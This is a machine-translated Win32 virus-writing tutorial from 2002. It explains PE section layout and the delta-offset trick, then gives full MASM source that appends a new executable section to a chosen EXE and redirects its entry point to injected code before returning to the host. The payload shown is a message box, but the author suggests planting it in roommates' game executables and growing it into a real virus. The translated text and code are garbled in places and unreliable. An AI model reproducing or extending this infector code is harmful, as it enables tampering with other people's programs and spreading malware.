The virus is not mysterious or complex. Quite a few heroes have made outstanding contributions in this regard. For example, in organization 29A, I admire them ...... Don't throw eggs. In fact, what I want to say is: technology is a double-edged sword. We should apply it to something beneficial to society. Therefore, do not use the code in this article to conduct violations of laws and regulations. Otherwise, I reserve the right to pursue such violations.
The technology in this article is actually a bit old. So if you already know how to write viruses, skip this article. If you are curious about the virus, but you do not know how to write it yet, this article is suitable for you. :)
Let's get down to the truth. In Windows, All executable files are in PE format. Therefore, one of the most important steps to write viruses is to operate PE files. However, I am not going to explain the PE format here. Please refer to the relevant materials on your own. I only analyze the difficulties I encountered in actual writing:
First, a computer virus is called a virus because it requires a host like a virus in nature-it cannot be executed independently. So how can the virus execute its code when it is parasitic on the host? Let's look at some concepts first.
The Code image of PE is divided into several sections, and the page boundary (4 K) is aligned in the file ). In general, the file will be loaded at the beginning of 400000 h, and the first section is at 401000 h, and the entry address is also 401000 H. How is the 401000 H portal address calculated? If you view the image_optional_header of the PE Header, you will find that its imagebase is generally 400000 h, while the addressorentrypoint is generally 1000 h. 400000 + 1000 = 401000 H, OK? With this understanding, we can add our own new section in PE, and then change the entry address to the first code pointing to the new section. After the new section is executed, restore the original entry so that the host code can be executed.
The following statements are available at the beginning of almost every Win32 virus:
Call nstart
Nstart:
Pop EBP
Sub EBP, offset nstart
What are these statements used? It seems like you have enough food to eat ...... Actually not. Let's take a closer look. When a normal pe program is executed, its base address (as described above) is generally 400000 H, which will be relocated by the operating system for you, therefore, the program is always loaded and run successfully. However, if we insert a new piece of code into the PE and assume it needs to be executed from 654321 h, then the process is not that simple. Because the host program did not anticipate the existence of this code, and the operating system could not correct this offset for you. Therefore, we need to perform the relocation operation on our own. The preceding statement obtains the actual offset address of the virus in the host. The call command is actually a combination of push and JMP. When calling nstart, the address of the next command of call nstart (that is, pop EBP) is actually pushed into the stack and then JMP to nstart. Because the address of pop ebp has been pushed into the stack, so when the command pop EBP is actually executed, the address of the command pop EBP is actually put into EBP. In this way, the real offset address of the current virus code is obtained. This is also a common method in viruses. Almost no exception.
There is another key issue. Our virus code is affiliated to the host. To use an API in a virus, you must first obtain the API entry address. However, this is not an easy task. Why? Let's take a look at the following code:
Invoke exitprocess, 0
After compilation and connection by the compiler, It is shown in the memory as follows:
: 00401015 call 0040101a
: 0040101a jmp dword ptr [1, 00402000]
That is to say, the call of exitprocess is through call 0040101a, and the code at 0040101a is a JMP pointing to [00402000]. What is stored at [00402000] is the real exitprocess entry address.
Why does it take so many twists and turns? I don't know either. But what we know is that calling an API is actually calling its address in the memory. The virus is affiliated after the host is compiled. Therefore, if the virus wants to run the API, you must specify the API entry address.
Isn't it annoying? Hoho, just stick to it. It's almost done.
There are many methods to get the API entry address. For example, you can use hard encoding. This is a simple method, but it cannot run in different Windows versions, however, because it is easy to implement, this method is still used in this article.
In Windows of the same version, the entry of the same core function is always fixed (the function exported by Kernel32, GDI32, and USER32 ), so we can use the following method to get the API entry:
Szdllname DB "USER32", 0
Szmessageboxa DB "messageboxa", 0
Messageboxa_addr dd 0
Invoke getmodulehandle, ADDR szdllname
Invoke loadlibrary, ADDR szdllname
Invoke getprocaddress, eax, ADDR szmessageboxa
MoV messageboxa_addr, eax
In the virus, we can use call messageboxa_addr [EBP] to execute the messageboxa API.
Well, I have explained the difficulties I think are important. If you have any questions, please send me a letter. Lcother@163.net
The following is an example program that adds a new section for the PE file to display the startup information. This article will add a new section at the end of the PE file. I name this section ". LC. When the attached program is running, a dialog box is displayed, showing our prompt information. You can modify it a little, for example, add your own copyright information, and then add this "virus" to the main program of CS, and then ...... Well, wait for the surprised look of the roommates! In fact, as long as some additional supplements are made to it, it can be regarded as a small virus.
It is worth noting that this program needs to write the code segment (that is, SMC), so we should do this when compiling the connection:
RC add_section.rc
ML/C/coff add_section.asm
Link/subsystem: Windows/section:. Text, RWE add_section.res add_section.obj
Have fun!
; **************************************** *******
; Program name: Add a new section for the PE file to display the startup information
; Author: Luo Cong
; Date: 2002-11-10
Source: http://www.luocong.com (laoluo's colorful world)
This Code uses virus technology, but is purely for technical research.
; Remember: Do not use it for illegal purposes !!!!!!
; Note: If you want to reprint it, please keep the program complete and note:
; Reprinted from "Luo's colorful world" (http://www.luocong.com)
; **************************************** *******
. 386
. Model flat, stdcall
Option Casemap: None
Include/masm32/include/Windows. inc
Include/masm32/include/kernel32.inc
Include/masm32/include/user32.inc
Include/masm32/include/comdlg32.inc
Includelib/masm32/lib/kernel32.lib
Includelib/masm32/lib/user32.lib
Includelib/masm32/lib/comdlg32.lib
Wndproc proto: DWORD,: DWORD
Addnewsection proto: DWORD
; Useful macros:
Ctext macro Y: vararg
Local sym
Const segment
Ifidni <y >,<>
Sym db 0
Else
Sym dB y, 0
Endif
Const ends
Exitm <OFFSET sym>
Endm
. Const
Idi_lc equ 1
Idc_button_open equ 3000
Maxsize equ 260
Head_len equ sizeof image_nt_headers + sizeof image_section_header
. Data
Szdlgname DB "lc_dialog", 0
Szcaption DB "section add demo by LC", 0
Ofn openfilename <>
Szfilename dB maxsize DUP (0)
Szfilterstring DB "PE executable files", 0, "*. EXE", 0, 0
Szmytitle DB "open a PE executable file... ", 0
Pe_header image_nt_headers <0>
My_section image_section_header <>
Szdllname DB "USER32", 0
Szmessageboxa DB "messageboxa", 0
. Data?
Hinstance?
. Code
Main:
Invoke getmodulehandle, null
MoV hinstance, eax
Invoke dialogboxparam, eax, offset szdlgname, 0, wndproc, 0
Invoke exitprocess, eax
Wndproc proc hwnd: hwnd, umsg: uint, wparam: wparam, lparam: lparam
. If umsg = wm_close
Invoke enddialog, hwnd, 0
. Elseif umsg = wm_initdialog
; Set my icon:
Invoke loadicon, hinstance, idi_lc
Invoke sendmessage, hwnd, wm_seticon, icon_small, eax
. Elseif umsg = wm_command
MoV eax, wparam
MoV edX, eax
SHR edX, 16
Movzx eax, ax
. If edX = bn_clicked
. If eax = idcancel
Invoke enddialog, hwnd, null
. Elseif eax = idc_button_open | eax = idok
; Call the subroutine and add the Section:
Invoke addnewsection, hwnd
. Endif
. Endif
. Else
MoV eax, false
RET
. Endif
MoV eax, true
RET
Wndproc endp
Addnewsection proc uses ECx hwnd: hwnd
Local hfile: handle
Local dwpe_header_offset: DWORD
Local dwfilereadwritten: DWORD
Local dwmysectionoffset: DWORD
Local dwlastsection_sizeofrawdata: DWORD
Local dwlastsection_pointertorawdata: DWORD
; "Open File" dialog box:
MoV ofn. lstructsize, sizeof ofn
Push hwnd
Pop ofn. hwndowner
Push hinstance
Pop ofn. hinstance
MoV ofn. lpstrfilter, offset szfilterstring
MoV ofn. lpstrfile, offset szfilename
MoV ofn. nmaxfile, maxsize
MoV ofn. Flags, ofn_filemustexist or ofn_pathmustexist or ofn_longnames or ofn_explorer
MoV ofn. lpstrtitle, offset szmytitle
Invoke getopenfilename, ADDR ofn
If no file name is selected, exit:
. If eax = 0
JMP err_createfile_exit
. Endif
; Open the file:
Invoke createfile, ADDR szfilename, generic_read or generic_write ,/
File_share_read or file_share_write, null, open_existing, file_attribute_normal, null
. If eax = invalid_handle_value
Invoke MessageBox, hwnd, ctext ("An error occurred while opening the file! "), ADDR szcaption, mb_ OK or mb_iconhand
JMP err_createfile_exit
. Endif
MoV hfile, eax
; ****************************************
; Read PE file header:
; ****************************************
Invoke setfilepointer, hfile, 3ch, 0, file_begin
Invoke readfile, hfile, ADDR dwpe_header_offset, 4, ADDR dwfilereadwritten, null
Invoke setfilepointer, hfile, dwpe_header_offset, 0, file_begin
Invoke readfile, hfile, ADDR pe_header, head_len, ADDR dwfilereadwritten, null
; ****************************************
; Determine whether the PE file is valid. If yes, continue:
; ****************************************
. If [pe_header.signature]! = Image_nt_signature
If it is not a valid PE file, a prompt is displayed:
Invoke MessageBox, hwnd, ctext ("This is not a valid Win32 PE file! "), ADDR szcaption, mb_ OK or mb_iconhand
JMP exit
. Endif
; ****************************************
; Determine whether there is enough space to store the new section:
; ****************************************
Movzx eax, [pe_header.fileheader.numberofsections]; get the number of sections before the new section:
MoV ECx, 28 h; 28 h = sizeof image_section_header
Mul ECx; eax = numberofsections * sizeof image_section_header
Add eax, dwpe_header_offset; eax = eax + PE File Header offset
Add eax, 18 h; 18 h = sizeof image_file_header
Movzx ECx, [pe_header.fileheader.sizeofoptionalheader]
Add eax, ECx; eax = eax + sizeof image_optional_header
Add eax, 28 h; Add the size of a new section
. If eax> [pe_header.optionalheader.sizeofheaders]
If not, a prompt is displayed:
Invoke MessageBox, null, ctext ("there is not enough space to join a new section! "), ADDR szcaption, mb_ OK or mb_iconhand
JMP exit
. Endif
; ****************************************
; Save the original entry, which will be used later:
; ****************************************
MoV eax, [pe_header.optionalheader.addressofentrypoint]
MoV old_addressofentrypoint, eax
MoV eax, [pe_header.optionalheader.imagebase]
MoV old_imagebase, eax
; **************************************** **********
; Calculate the offset address of the new section:
(In fact, it is basically the same as the above "determining whether there is enough space to store the new section)
; **************************************** **********
Movzx eax, [pe_header.fileheader.numberofsections]
MoV ECx, 28 h
Mul ECx; eax = numberofsections * sizeof image_section_header
Add eax, 4 h; 4 H = sizeof "PES/0/0"
Add eax, dwpe_header_offset
Add eax, sizeof image_file_header
Add eax, sizeof image_optional_header
MoV dwmysectionoffset, eax; now we get the offset address of our new Section
; ****************************************
; Fill in the information of our own section:
(For this part, check the PE format, which is easy to understand. I will not talk about it much)
; ****************************************
MoV dword ptr [my_section.name1], "Cl."; its name is ". LC ......
MoV [my_section.misc.virtualsize], offset vend-offset vstart
Push [pe_header.optionalheader.sizeofimage]
Pop [my_section.virtualaddress]
MoV eax, [my_section.misc.virtualsize]
MoV ECx, [pe_header.optionalheader.filealignment]
CDQ
Div ECx
INC eax
Mul ECx
MoV [my_section.sizeofrawdata], eax; sizeofrawdata is an integer multiple of filealignment In the EXE file.
MoV eax, dwmysectionoffset
Sub eax, 18 h; this offset is located in the last section of "sizeofrawdata"
Invoke setfilepointer, hfile, eax, 0, file_begin
Invoke readfile, hfile, ADDR dwlastsection_sizeofrawdata, 4, ADDR dwfilereadwritten, null
Invoke readfile, hfile, ADDR dwlastsection_pointertorawdata, 4, ADDR dwfilereadwritten, null
; The pointertorawdata in each section is equal to the sizeofrawdata + pointertorawdata in the previous section:
MoV eax, dwlastsection_sizeofrawdata
Add eax, dwlastsection_pointertorawdata
MoV [my_section.pointertorawdata], eax
MoV [my_section.pointertorelocations], 0 h
MoV [my_section.pointertolinenumbers], 0 h
MoV [my_section.numberofrelocations], 0 h
MoV [my_section.numberoflinenumbers], 0 h
MoV [my_section.characteristics], 0e0000020h; readable and executable
; **************************************** **********
; Re-write image_section_header: (contains information about the new section)
; **************************************** **********
Invoke setfilepointer, hfile, dwmysectionoffset, 0, file_begin
Invoke writefile, hfile, ADDR my_section, sizeof image_section_header, ADDR dwfilereadwritten, null
; ****************************************
To obtain the linear address of messageboxa:
; ****************************************
Invoke getmodulehandle, ADDR szdllname
Invoke loadlibrary, ADDR szdllname
Invoke getprocaddress, eax, ADDR szmessageboxa
MoV messageboxa_addr, eax
; ****************************************
; Write our new section at the end of the file:
; ****************************************
Invoke setfilepointer, hfile, 0, 0, file_end
Push 0
Lea eax, dwfilereadwritten
Push eax
Push [my_section.sizeofrawdata]
Lea eax, vstart
Push eax
Push hfile
Call writefile
; **************************************** **********
Rewrite image_nt_headers so that the new section can be executed first:
; (The sizeofimage and addressofentrypoint need to be rewritten)
; **************************************** **********
INC [pe_header.fileheader.numberofsections]
MoV eax, [my_section.misc.virtualsize]
MoV ECx, [pe_header.optionalheader.sectionalignment]
CDQ
Div ECx
INC eax
Mul ECx
Add eax, [pe_header.optionalheader.sizeofimage]
MoV [pe_header.optionalheader.sizeofimage], eax; sizeofimage is an integer multiple of the values aligned to sectionalignment
MoV eax, [my_section.virtualaddress]
MoV [pe_header.optionalheader.addressofentrypoint], eax; the current addressofentrypoint is the first command pointing to the new section.
Invoke setfilepointer, hfile, dwpe_header_offset, 0, file_begin
Invoke writefile, hfile, ADDR pe_header, sizeof image_nt_headers, ADDR dwfilereadwritten, null
; ****************************************
; Done! Show successful information:
; ****************************************
Invoke MessageBox, hwnd, ctext ("added successfully! "), ADDR szcaption, mb_ OK or mb_iconinformation
Exit:
Close the file:
Invoke closehandle, hfile
Err_createfile_exit:
RET
Addnewsection endp
; ****************************************
Haha, our own stuff :( doesn't it look like a virus ?)
; ****************************************
Vstart:
Call nstart
Nstart:
Pop EBP
Sub EBP, offset nstart; get the actual offset address of the new section in the file
; Display dialog box:
Push mb_ OK or mb_iconinformation
Lea eax, szmycaption [EBP]
Push eax
Lea eax, szmymsg [EBP]
Push eax
Push 0
Call messageboxa_addr [EBP]
; Restore the original entry address. After the execution of this section is complete, the execution will go back to the original file Portal:
MoV eax, old_imagebase [EBP]
Add eax, old_addressofentrypoint [EBP]
Push eax
RET
; Variable definition:
Messageboxa_addr dd 0
Szmymsg DB "Add new section for PE file display startup information", 13, 10, 13, 10 ,/
"Laoluo's colorful world", 13, 10, "http://www.LuoCong.com", 0
Szmycaption DB "Lao Luo's basic tutorial series of viruses by LC", 0
Old_imagebase dd 0
Old_addressofentrypoint dd 0
Vend:
End main
; *****************Over ******************* *
; By LC
Its resource file:
# Include "resource. H"
# Define idc_static-1
# Define idi_lc 1
# Define idc_button_open 3000
Idi_lc icon "LC. ICO"
Lc_dialogex 10, 10,195,115
Style ds_setfont | ds_center | ws_minimizebox | ws_visible | ws_caption | ws_sysmenu
Caption "section add demo by LC, 2002-11-10"
Font 9, "", 0, 0, 0x0
Begin
Groupbox "info", idc_static, 5, 5,185, 75
Ctext "-Add a new section for the PE file to display the startup information-", idc_static, 10, 20,175, 10
Ctext "-= virus tutorial series =-", idc_static, 10, 30,175, 10
Ctext "laoluo's colorful world", idc_static, 10, 50,175, 10
Ctext "www.luocong.com", idc_static, 10, 60,175, 10
Defpushbutton "open file (& O)", idc_button_open, 70, 90, 55, 15, bs_flat | bs_center
End
Lao Luo
2002-11-10